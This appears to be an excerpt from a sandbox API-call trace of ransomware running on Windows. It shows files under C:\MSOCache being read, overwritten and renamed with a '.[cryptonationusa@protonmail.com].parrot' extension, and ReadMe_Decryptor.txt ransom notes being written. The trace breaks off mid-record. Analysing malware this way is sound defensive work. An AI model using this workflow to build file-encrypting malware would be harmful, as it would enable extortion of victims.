(HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5616e0 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a168 [0037.637] GetLastError () returned 0x0 [0037.637] SetLastError (dwErrCode=0x0) [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a168 | out: hHeap=0x540000) returned 1 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb500 [0037.637] GetLastError () returned 0x0 [0037.637] SetLastError (dwErrCode=0x0) [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb500 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5616f8 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28d1260 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x620) returned 0x28d2268 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x561710 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc30) returned 0x28d2890 [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2268 | out: hHeap=0x540000) returned 1 [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616f8 | out: hHeap=0x540000) returned 1 [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561710 | out: hHeap=0x540000) returned 1 [0037.637] GetLastError () returned 0x0 [0037.637] SetLastError (dwErrCode=0x0) [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d1260 | out: hHeap=0x540000) returned 1 [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616e0 | out: hHeap=0x540000) returned 1 [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5513b8 | out: hHeap=0x540000) returned 1 [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616c8 | out: hHeap=0x540000) returned 1 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55fa58 | out: hHeap=0x540000) returned 1 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x561fe0 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x563070 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0037.638] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb78 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bba8 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb78 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb78 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bba8 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bba8 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb78 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb78 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bba8 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5616c8 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb78 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5616e0 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616c8 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a168 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616e0 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x565020 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a168 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb500 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565020 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x557d08 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x561fe0 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557d08 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x562048 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d0048 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562048 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x561fe0 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d0048 [0037.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0037.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d0230 [0037.639] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.639] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x28d0500 [0037.639] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0230 | out: hHeap=0x540000) returned 1 [0037.639] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x28d0938 [0037.639] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0500 | out: hHeap=0x540000) returned 1 [0037.639] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x28d0f80 [0037.639] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0938 | out: hHeap=0x540000) returned 1 [0037.639] WriteFile (in: hFile=0x154, lpBuffer=0x28d0f80*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x28d0f80*, lpNumberOfBytesWritten=0x235f1e8*=0x738, lpOverlapped=0x0) returned 1 [0037.639] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0f80 | out: hHeap=0x540000) returned 1 [0037.639] UnlockFile (hFile=0x154, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x735, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0037.639] CloseHandle (hObject=0x154) returned 1 [0037.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x561fe0 [0037.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x28d0048 [0037.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0037.640] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0037.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563070 | out: hHeap=0x540000) returned 1 [0037.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2890 | out: hHeap=0x540000) returned 1 [0037.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x561fe0 [0037.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ae8 [0037.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb78 [0037.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bba8 [0037.641] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0037.642] GetFileType (hFile=0x154) returned 0x1 [0037.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28d0048 [0037.651] lstrcmpW (lpString1="Setup.xml", lpString2="ReadMe_Decryptor.txt") returned 1 [0037.652] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0038.441] GetFileSize (in: hFile=0x1b0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x8f8 [0038.441] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa10, nNumberOfBytesToLockHigh=0x0) returned 1 [0038.441] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0038.441] ReadFile (in: hFile=0x1b0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0038.463] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.478] ReadFile (in: hFile=0x1b0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x8f8, lpOverlapped=0x0) returned 1 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bcb8 [0038.478] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcb8 | out: hHeap=0x540000) returned 1 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x28d17c0 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x28d2d00 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb688 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x28d8c68 [0038.478] GetLastError () returned 0x0 [0038.478] SetLastError (dwErrCode=0x0) [0038.478] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5516b8 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x28d2d18 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a328 [0038.478] GetLastError () returned 0x0 [0038.478] SetLastError (dwErrCode=0x0) [0038.478] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a328 | out: hHeap=0x540000) returned 1 [0038.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb688 [0038.478] GetLastError () returned 0x0 [0038.479] SetLastError (dwErrCode=0x0) [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb688 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x28d2d30 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28d9e80 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x900) returned 0x28dae88 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bcb8 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1213) returned 0x28db790 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28dae88 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d30 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcb8 | out: hHeap=0x540000) returned 1 [0038.479] GetLastError () returned 0x0 [0038.479] SetLastError (dwErrCode=0x0) [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9e80 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d18 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5516b8 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d00 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d17c0 | out: hHeap=0x540000) returned 1 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8c68 | out: hHeap=0x540000) returned 1 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0048 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x28d8c68 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0038.479] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bcb8 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bcc8 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcb8 | out: hHeap=0x540000) returned 1 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bcb8 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcc8 | out: hHeap=0x540000) returned 1 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bcc8 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcb8 | out: hHeap=0x540000) returned 1 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bcb8 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcc8 | out: hHeap=0x540000) returned 1 [0038.479] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x28d2d00 [0038.479] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcb8 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x28d2d18 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d00 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a328 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d18 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x28d10a0 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a328 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb688 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d10a0 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x557eb8 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d8e08 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557eb8 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x28d0048 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8e08 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d00e0 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x28d9df0 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d00e0 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d0048 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d9df0 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x28da0c0 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x28da4f8 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28da0c0 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x28dab40 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28da4f8 | out: hHeap=0x540000) returned 1 [0038.480] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28dc9b0 [0038.480] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28dab40 | out: hHeap=0x540000) returned 1 [0038.480] WriteFile (in: hFile=0x1b0, lpBuffer=0x28dc9b0*, nNumberOfBytesToWrite=0xa18, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x28dc9b0*, lpNumberOfBytesWritten=0x235f1e8*=0xa18, lpOverlapped=0x0) returned 1 [0038.481] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28dc9b0 | out: hHeap=0x540000) returned 1 [0038.481] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0038.481] CloseHandle (hObject=0x1b0) returned 1 [0038.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x28d0048 [0038.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x28d00f0 [0038.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0038.482] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0038.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d00f0 | out: hHeap=0x540000) returned 1 [0038.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8c68 | out: hHeap=0x540000) returned 1 [0038.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28db790 | out: hHeap=0x540000) returned 1 [0038.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x28d8c68 [0038.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ae8 [0038.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bcb8 [0038.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bcc8 [0038.483] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0038.483] GetFileType (hFile=0x1b0) returned 0x1 [0038.484] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28d9df0 [0038.494] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x562370 [0038.494] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7d6a900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa7d6a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.494] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa6df1a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x102fdd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EXCELL~1.PAR")) returned 1 [0038.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x28d8c68 [0038.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8c68 | out: hHeap=0x540000) returned 1 [0038.494] lstrcmpW (lpString1="ExcelLR.cab.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0038.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x28d0048 [0038.494] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa74313c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x263f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EXCELM~1.PAR")) returned 1 [0038.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x28d8c68 [0038.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8c68 | out: hHeap=0x540000) returned 1 [0038.494] lstrcmpW (lpString1="ExcelMUI.msi.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0038.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x28d0140 [0038.494] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa7561ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EXCELM~2.PAR")) returned 1 [0038.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x28d8c68 [0038.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8c68 | out: hHeap=0x540000) returned 1 [0038.494] lstrcmpW (lpString1="ExcelMUI.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0038.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5baff8 [0038.494] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa702cea0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa702cea0, 